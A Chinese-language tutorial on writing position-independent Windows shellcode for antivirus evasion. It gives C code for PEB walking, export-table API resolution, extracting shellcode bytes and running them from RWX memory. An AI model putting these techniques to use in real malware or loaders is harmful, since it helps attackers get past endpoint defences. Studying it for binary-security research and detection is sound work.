免杀基础-shellcode开发
字数 842 2025-08-22 12:23:18
Shellcode开发基础与免杀技术详解
1. Shellcode基础概念
Shellcode是一段位置无关的代码(Position Independent Code, PIC),它不依赖外部环境,遵循以下规则:
- 不能使用全局变量
- 不能使用常量字符串
- 不能直接调用Windows API
2. Shellcode开发原理
2.1 传统API调用的问题
直接调用Windows API如MessageBox是不可行的,因为:
- ASLR(地址空间布局随机化)导致每次API地址不同
- 硬编码地址无法跨系统/版本工作
2.2 动态获取API地址的解决方案
通过以下步骤动态获取API地址:
- 获取Kernel32.dll基址
- 解析PE导出表获取
LoadLibrary和GetProcAddress地址 - 使用这两个函数加载其他DLL并获取所需API
3. 关键技术实现
3.1 获取PEB(进程环境块)
#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#endif
#ifdef _X86_
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
3.2 遍历模块列表获取Kernel32.dll基址
PPEB_LDR_DATA pLdr = peb->LoaderData;
PLIST_ENTRY moduleList = &pLdr->InLoadOrderModuleList;
PLIST_ENTRY current = moduleList->Flink;
WCHAR target[] = {L'K',L'e',L'r',L'n',L'e',L'l',L'3',L'2',L'.',L'd',L'l',L'l',L'\0'};
PVOID dllBase = NULL;
while(current != moduleList) {
PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)current;
WCHAR* buffer = entry->BaseDllName.Buffer;
// 自定义字符串比较逻辑(避免使用标准库函数)
// ...
if(匹配成功) {
dllBase = entry->DllBase;
break;
}
current = current->Flink;
}
3.3 解析PE导出表
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + pDosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(pDataDir->VirtualAddress + (DWORD_PTR)dllBase);
// 获取导出函数名数组、地址数组和序号数组
PDWORD NameArray = (PDWORD)((DWORD64)dllBase + exportTable->AddressOfNames);
PDWORD AddressArray = (PDWORD)((DWORD64)dllBase + exportTable->AddressOfFunctions);
PWORD OrdinalArray = (PWORD)((DWORD64)dllBase + exportTable->AddressOfNameOrdinals);
// 遍历查找目标函数
for(SIZE_T i = 0; i < exportTable->NumberOfNames; i++) {
LPCSTR currentName = (LPCSTR)((DWORD64)dllBase + NameArray[i]);
// 自定义字符串比较逻辑
// ...
if(匹配"LoadLibraryW") {
LoadLibraryfuncAddr = (FARPROC)((DWORD64)dllBase + AddressArray[OrdinalArray[i]]);
}
else if(匹配"GetProcAddress") {
GetProcAddrfuncAddr = (FARPROC)((DWORD64)dllBase + AddressArray[OrdinalArray[i]]);
}
}
3.4 自定义字符串比较函数
由于不能使用标准库函数,需要实现自定义比较:
size_t j = 0;
bool match = true;
while(str1[j] != '\0' && currentName[j] != '\0') {
char c1 = str1[j];
char c2 = currentName[j];
// 转换为小写比较
if(c1 >= 'A' && c1 <= 'Z') c1 += 32;
if(c2 >= 'A' && c2 <= 'Z') c2 += 32;
if(c1 != c2) {
match = false;
break;
}
j++;
}
// 检查字符串长度是否相同
if(str1[j] != '\0' || currentName[j] != '\0') {
match = false;
}
4. Shellcode生成与测试
4.1 生成Shellcode字节数组
const uintptr_t start_address = (uintptr_t)&shellcode_start;
const uintptr_t end_address = (uintptr_t)&shellcode_end;
const size_t shellcode_size = end_address - start_address;
FILE* output_file = fopen("shellcode.h", "w");
fprintf(output_file, "unsigned char shellcode[] = {\n");
for(size_t i = 0; i < shellcode_size; ++i) {
unsigned char sig_code = ((unsigned char*)start_address)[i];
fprintf(output_file, "0x%02X%s", sig_code, (i+1 < shellcode_size) ? "," : "");
if((i+1) % 16 == 0 || i+1 == shellcode_size) {
fprintf(output_file, "\n");
}
}
fprintf(output_file, "};\n");
fclose(output_file);
4.2 测试Shellcode
LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpMem, shellcode, sizeof(shellcode));
((void(*)(void))lpMem)();
5. 开发注意事项
- 禁用编译器优化:确保生成的代码不会被优化器修改
- 关闭安全检查:如堆栈检查等额外功能
- 避免使用标准库函数:所有字符串操作等都需要自定义实现
- 位置无关代码:确保代码不依赖固定地址
- 大小写不敏感比较:Windows API名称比较通常不区分大小写
6. 扩展应用
掌握了基础Shellcode开发技术后,可以进一步实现:
- 进程注入
- 反射式DLL加载
- 规避杀毒软件的检测
- 加密与混淆技术
- 多阶段加载技术
7. 参考资源
通过本文介绍的技术,读者可以开发出基本的免杀Shellcode,为进一步的二进制安全研究打下基础。